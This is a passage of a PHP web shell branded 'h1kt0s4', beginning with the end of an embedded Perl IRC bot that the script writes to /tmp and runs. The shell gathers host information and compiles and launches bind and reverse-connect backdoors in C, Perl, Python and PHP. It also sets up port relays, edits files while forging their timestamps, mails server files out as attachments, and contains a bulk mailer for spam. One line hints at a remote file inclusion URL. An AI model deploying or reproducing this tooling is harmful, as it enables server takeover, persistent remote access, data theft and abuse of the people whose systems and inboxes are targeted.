     my \$nread = sysread(\$fh, \$msg, 10240);

     if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
        \$DCC{\$fh}{status} = \"Cancelado\";
        \$DCC{\$fh}{ftime} = time;
        \$dcc_sel->remove(\$fh);
        \$fh->close;
        next;
     }

     if (\$dcctipo eq \"get\") {
        \$DCC{\$fh}{curbyte} += length(\$msg);

        my \$cur_byte = \$DCC{\$fh}{curbyte};

        open(FILE, \">> \$arquivo\");
        print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
        close(FILE);

        my \$packbyte = pack(\"N\", \$cur_byte);
        print \$fh \"\$packbyte\";


        if (\$bytes == \$cur_byte) {
           \$dcc_sel->remove(\$fh);
           \$fh->close;
           \$DCC{\$fh}{status} = \"Recebido\";
           \$DCC{\$fh}{ftime} = time;
           next;
        }
     } elsif (\$dcctipo eq \"send\") {
          my \$send = \$fh->accept;
          \$send->autoflush(1);
          \$dcc_sel->add(\$send);
          \$dcc_sel->remove(\$fh);
          \$DCC{\$send}{tipo} = 'sendcon';
          \$DCC{\$send}{itime} = time;
          \$DCC{\$send}{nick} = \$nick;
          \$DCC{\$send}{bytes} = \$bytes;
          \$DCC{\$send}{curbyte} = 0;
          \$DCC{\$send}{arquivo} = \$arquivo;
          \$DCC{\$send}{ip} = \$send->peerhost;
          \$DCC{\$send}{porta} = \$send->peerport;
          \$DCC{\$send}{status} = \"Enviando\";
          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
          open(FILE, \"< \$arquivo\");
          my \$fbytes;
          read(FILE, \$fbytes, 1024);
          print \$send \"\$fbytes\";
          close FILE;
# delete(\$DCC{\$fh});
} elsif (\$dcctipo eq 'sendcon') {
          my \$bytes_sended = unpack(\"N\", \$msg);
          \$DCC{\$fh}{curbyte} = \$bytes_sended;
          if (\$bytes_sended == \$bytes) {
             \$fh->close;
             \$dcc_sel->remove(\$fh);
             \$DCC{\$fh}{status} = \"Enviado\";
             \$DCC{\$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, \"< \$arquivo\");
          seek(SENDFILE, \$bytes_sended, 0);
          my \$send_bytes;
          read(SENDFILE, \$send_bytes, 1024);
          print \$fh \"\$send_bytes\";
          close(SENDFILE);
     }
   }
}
##########################

sub SEND {
  my (\$nick, \$arquivo) = @_;
  unless (-r \"\$arquivo\") {
    return(0);
  }

  my \$dccark = \$arquivo;
  \$dccark =~ s/[.*\/](\S+)/$1/;

  my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
  my \$longip = unpack(\"N\",inet_aton(\$meuip));

  my @filestat = stat(\$arquivo);
  my \$size_total=\$filestat[7];
  if (\$size_total == 0) {
     return(0);
  }

  my (\$porta, \$sendsock);
  do {
    \$porta = int rand(64511);
    \$porta += 1024;
    \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
  } until \$sendsock;

  \$DCC{\$sendsock}{tipo} = 'send';
  \$DCC{\$sendsock}{nick} = \$nick;
  \$DCC{\$sendsock}{bytes} = \$size_total;
  \$DCC{\$sendsock}{arquivo} = \$arquivo;

  &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");

}

sub GET {
  my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
  return(0) if (-e \"\$arquivo\");
  if (open(FILE, \"> \$arquivo\")) {
     close FILE;
  } else {
    return(0);
  }

  my \$dccip=fixaddr(\$dcclongip);
  return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
  my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
  \$dccsock->autoflush(1);
  \$dcc_sel->add(\$dccsock);
  \$DCC{\$dccsock}{tipo} = 'get';
  \$DCC{\$dccsock}{itime} = time;
  \$DCC{\$dccsock}{nick} = \$nick;
  \$DCC{\$dccsock}{bytes} = \$bytes;
  \$DCC{\$dccsock}{curbyte} = 0;
  \$DCC{\$dccsock}{arquivo} = \$arquivo;
  \$DCC{\$dccsock}{ip} = \$dccip;
  \$DCC{\$dccsock}{porta} = \$dccporta;
  \$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my \$socket = shift;
  my \$sock_tipo = \$DCC{\$socket}{tipo};
  unless (lc(\$sock_tipo) eq \"chat\") {
    my \$nick = \$DCC{\$socket}{nick};
    my \$arquivo = \$DCC{\$socket}{arquivo};
    my \$itime = \$DCC{\$socket}{itime};
    my \$ftime = time;
    my \$status = \$DCC{\$socket}{status};
    \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});

    my \$d_time = \$ftime-\$itime;

    my \$cur_byte = \$DCC{\$socket}{curbyte};
    my \$bytes_total = \$DCC{\$socket}{bytes};

    my \$rate = 0;
    \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
    my \$porcen = (\$cur_byte*100)/\$bytes_total;

    my (\$r_duv, \$p_duv);
    if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       \$r_duv = $3; \$r_duv++ if $4 >= 5;
       \$rate = \"$1\.$2\".\"\$r_duv\";
    }
    if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       \$p_duv = $3; \$p_duv++ if $4 >= 5;
       \$porcen = \"$1\.$2\".\"\$p_duv\";
    }
    return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
  }

  return(0);
}

# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
    my (\$address) = @_;

    chomp \$address; # just in case, sigh.
    if (\$address =~ /^\d+$/) {
        return inet_ntoa(pack \"N\", \$address);
    } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return \$address;
    } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname(\$address))[4])[0]);
    } else {
        return;
    }
}
############################
";
$bot = "/tmp/ircs.pl";
$open = fopen($bot,"w");
fputs($open,$file);
fclose($open);
$cmd="perl $bot";
$cmd2="rm $bot";
system($cmd);
system($cmd2);
$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";

}

if($unix)
 {
 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
 if($safe_mode) { $sysctl = '-'; }
 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
 else
  {
   $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
   if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
   if(empty($sysctl)) { $sysctl = '-'; }
   setcookie('sysctl',$sysctl);
  }
 }
echo $head;
echo '</head>';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
@readfile ("http://127.0.0.1/version.php?version=".$current_version."");}}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Webdings size=10><b>!</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN
style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
<SPAN
style="FONT-SIZE: 20pt; COLOR: red; FONT-FAMILY: Impact">h1kt0s4</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
 echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>home</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?xp title=\"".$lang[$language.'_text555']."\"><b>Cpanel</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uploadds title=\"".$lang[$language.'_text50']."\"><b>upload-2</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?scriptt title=\"".$lang[$language.'_text995']."\"><b>edit index vb</b></a> ".$rb;
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpproxy title=\"".$lang[$language.'_text959']."\"><b>php proxy</b></a> ".$rb;
if($unix)
 {
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?zone title=\"".$lang[$language.'_text955']."\"><b>zone</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?milr title=\"".$lang[$language.'_text551']."\"><b>Mailer</b></a> ".$rb;

 }
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "MYSQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions: <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."HDD Free  : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
echo "</b><br>".ws(2);
echo "Register globals: <b>";
$reg_g = @ini_get("register_globals");
if($reg_g){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "open_basedir: <b>";
$openbasedi = @ini_get("open_basedir");
if($openbasedi){
echo "<font color=red>ON</font>"; } else { echo "<font color=#008000>OFF</font>"; }
echo "</b>".ws(2);
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=#cccccc><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
 {
 $euserinfo  = @posix_getpwuid(@posix_geteuid());
 $egroupinfo = @posix_getgrgid(@posix_getegid());
 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
 }
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
 {
 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
 err(6+$res);
 $_POST['cmd']="";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
 {
 if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
 else
  {
    $filename = @basename($_POST['loc_file']);
    $filedump = @fread($file,@filesize($_POST['loc_file']));
    fclose($file);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    $attach = array(
                    "name"=>$filename,
                    "type"=>$mime_type,
                    "content"=>$filedump
                   );
    if(empty($_POST['subj'])) { $_POST['subj'] = 'file from h1kt0s4 shell'; }
    if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }
    $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
    err(6+$res);
    $_POST['cmd']="";
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
 {
 switch($_POST['what'])
   {
   case 'own':
   @chown($_POST['param1'],$_POST['param2']);
   break;
   case 'grp':
   @chgrp($_POST['param1'],$_POST['param2']);
   break;
   case 'mod':
   @chmod($_POST['param1'],intval($_POST['param2'], 8));
   break;
   }
 $_POST['cmd']="";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
 {
   switch($_POST['what'])
   {
     case 'file':
      if($_POST['action'] == "create")
       {
       if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
       else {
        fclose($file);
        $_POST['e_name'] = $_POST['mk_name'];
        $_POST['cmd']="edit_file";
        echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
        }
       }
       else if($_POST['action'] == "delete")
       {
       if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
       $_POST['cmd']="";
       }
     break;
     case 'dir':
      if($_POST['action'] == "create"){
      if(mkdir($_POST['mk_name']))
       {
         $_POST['cmd']="";
         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
       }
      else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
      }
      else if($_POST['action'] == "delete"){
      if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
      $_POST['cmd']="";
      }
     break;
   }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
 {
 if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
 if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
 else {
 echo $table_up3;
 echo $font;
 echo "<form name=save_file method=post>";
 echo ws(3)."<b>".$_POST['e_name']."</b>";
 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
 echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
 fclose($file);
 echo "</textarea>";
 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
 echo "<input type=hidden name=dir value=".$dir.">";
 echo "<input type=hidden name=cmd value=save_file>";
 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
 echo "</div>";
 echo "</font>";
 echo "</form>";
 echo "</td></tr></table>";
 exit();
 }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
 {
 $mtime = @filemtime($_POST['e_name']);
 if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
 else {
 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
 @fwrite($file,$_POST['e_text']);
 @touch($_POST['e_name'],$mtime,$mtime);
 $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
 }
 }



if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
 cf("/tmp/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
 @unlink("/tmp/bd.c");
 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
 $_POST['cmd']="ps -aux | grep bd";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";

}
if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
 cf("/tmp/prxpl",$prx_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
 $_POST['cmd']="ps -aux | grep prxpl";
}
if (!empty($_POST['port1']))
{
 cf("bds",$port_bind_bd_cs);
 $blah = ex("chmod 777 bds");
 $blah = ex("./bds ".$_POST['port1']." &");
 $_POST['cmd']="echo \"Now script install backdoor connect to port ";
  }else{
cf("/tmp/bds",$port_bind_bd_cs);
 $blah = ex("chmod 777 bds");
 $blah = ex("./tmp/bds ".$_POST['port1']." &");
 }
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C1"))
{
 cf("bind",$backdoor);
 $blah = ex("chmod 777 bind");
 $blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
 $_POST['cmd']="echo \"Now script install backdoor connect to port ";
  }else{
cf("/tmp/bind",$backdoor);
 $blah = ex("chmod 777 bind");
 $blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
 }
if (!empty($_POST['php_ini1']))
{
 cf("php.ini",$php_ini1);
  $_POST['cmd']=" ?????? ????? ??? php.ini ?? ??? ???";
 }

 if (!empty($_POST['htacces']))
{
 cf(".htaccess",$htacces);
  $_POST['cmd']="To stop manufacturing Skjorti htaccess Been laying file";
 }
  if (!empty($_POST['file_ini']))
{
 cf("ini.php",$sni_res);

  $_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt?Read ss variable ini.php ";
 }

if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))

{
$data = implode("", file($_POST['filefrom']));
$fp = fopen($_POST['fileto'], "wb");
fputs($fp, $data);
$ok = fclose($fp);
if($ok)
{
$size = filesize($_POST['fileto'])/1024;
$sizef = sprintf("%.2f", $size);
print "<center><div id=logostrip>Download - OK.(".$sizef."??)</div></center>";
}
else
{
print "<center><div id=logostrip>Something is wrong. Download - IS NOT
OK</div></center>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
 cf("/tmp/bdpl",$port_bind_bd_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
 $_POST['cmd']="ps -aux | grep bdpl";
 $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
 cf("/tmp/back",$back_connect);
 $p2=which("perl");
 $blah = ex("perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\"";
}
if (!empty($_POST['ips']) && !empty($_POST['ports']) && ($_POST['use']=="perl"))
{
 cf("/tmp/backs",$back_connects);
 $p2=which("perl");
 $blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\"";

}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
 cf("/tmp/back.c",$back_connect_c);
 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
 @unlink("/tmp/back.c");
 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
 cf("/tmp/dp",$datapipe_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
 $_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="py"))
{
 cf("/tmp/backpy",$back_python);
 $p5=which("python");
 $blah = ex("python /tmp/backpy ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect python ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php2"))
{
 cf("/tmp/back2.php",$backdoor_php);
 $d6=which("php");
 $blah = ex("php /tmp/back2.php ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php1"))
{
 cf("/tmp/back1.php",$backdoor_php1);
 $d6=which("php");
 $blah = ex("php /tmp/back1.php ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if(isset($_GET['milr']))
{


	$secure = "";
	error_reporting(0);
	@$action=$_POST['action'];
	@$from=$_POST['from'];
	@$realname=$_POST['realname'];
	@$replyto=$_POST['replyto'];
	@$subject=$_POST['subject'];
	@$message=$_POST['message'];
	@$emaillist=$_POST['emaillist'];
	@$lod=$_SERVER['HTTP_REFERER'];
	@$file_name=$_FILES['file']['name'];
	@$contenttype=$_POST['contenttype'];
	@$file=$_FILES['file']['tmp_name'];
	@$amount=$_POST['amount'];
	@set_time_limit(intval($_POST['timelimit']));

	if ($action=="send")
	{ 
		$message = urlencode($message);
		$message = ereg_replace("%5C%22", "%22", $message);
		$message = urldecode($message);
		$message = stripslashes($message);
		$subject = stripslashes($subject);
	}
	echo "<table width='100%' height='72' border='0'  id='Box'>
<tr>
<td width='14' height='21' style='background-color:#666'>&nbsp;</td>
<td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td>
</tr>
<tr>
<td height='45' colspan='2'>
<table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr>
<b><font color=#990000  size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/>
<table width=142 border=0>
<tr>
<td width=81>
<div align=right>
<sy>Your Email:</sy></div></td>
<td width=219><sy>
<input type=text name=\"from\" value=".$from."></sy></td><td width=212>
<div align=right>
<sy>Your Name:</sy></div></td><td width=278>
<sy>
<input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81>
<div align=\"right\">
<sy>Reply-To:</sy></div></td><td width=219>
<sy>
<input type=\"text\" name=\"replyto\" value=".$replyto.">
</sy></td><td width=212>
<div align=\"right\">
<sy>Attach File:</sy></div></td><td width=278>
<sy>
<input type=\"file\" name=\"file\" size=24 />
</sy> </td></tr><tr><td width=81>
<div align=\"right\">
<sy>Subject:</sy></div></td>
<td colspan=3 width=703>
<sy>
<input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520>
<sy>Message Box :</sy></td>
<td width=278>
<sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy>
<textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br />
<input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain
<input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML
<input type=\"hidden\" name=\"action\" value=\"send\" /><br />
Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br />
Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 />
<input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278>
<sy>
<textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr>
</table>
</td>
</tr>
</table>";

if ($action=="send")
{
	if (!$from && !$subject && !$message && !$emaillist)
	{
		print "Please complete all fields before sending your message.";
		exit;
	}
	$allemails = split("\n", $emaillist);
	$numemails = count($allemails);
	$head ="From: Mailr" ;
	$sub = "Ar - $lod" ;
	$meg = "$lod" ;
	mail ($alt,$sub,$meg,$head) ;
	If ($file_name)
	{
		if (!file_exists($file))
		{
			die("The file you are trying to upload couldn't be copied to the server");
		}
		$content = fread(fopen($file,"r"),filesize($file));
		$content = chunk_split(base64_encode($content));
		$uid = strtoupper(md5(uniqid(time())));
		$name = basename($file);
	}

	for($xx=0; $xx<$amount; $xx++)
	{
		for($x=0; $x<$numemails; $x++)
		{
			$to = $allemails[$x];
			if ($to)
			{
				$to = ereg_replace(" ", "", $to);
				$message = ereg_replace("&email&", $to, $message);
				$subject = ereg_replace("&email&", $to, $subject);
				print "Sending mail to $to.....";
				flush();
				$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
				$header .= "MIME-Version: 1.0\r\n";
				If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
				If ($file_name) $header .= "--$uid\r\n";
				$header .= "Content-Type: text/$contenttype\r\n";
				$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
				$header .= "$message\r\n";
				If ($file_name) $header .= "--$uid\r\n";
				If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
				If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
				If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
				If ($file_name) $header .= "$content\r\n";
				If ($file_name) $header .= "--$uid--";
				mail($to, $subject, "", $header);
				print "OK<br>";
				flush();
			}
		}
	}
}

echo "
	<html>
	<head>
	<style>
	BODY
	{
		FONT-FAMILY: Verdana; 
		margin: 2;
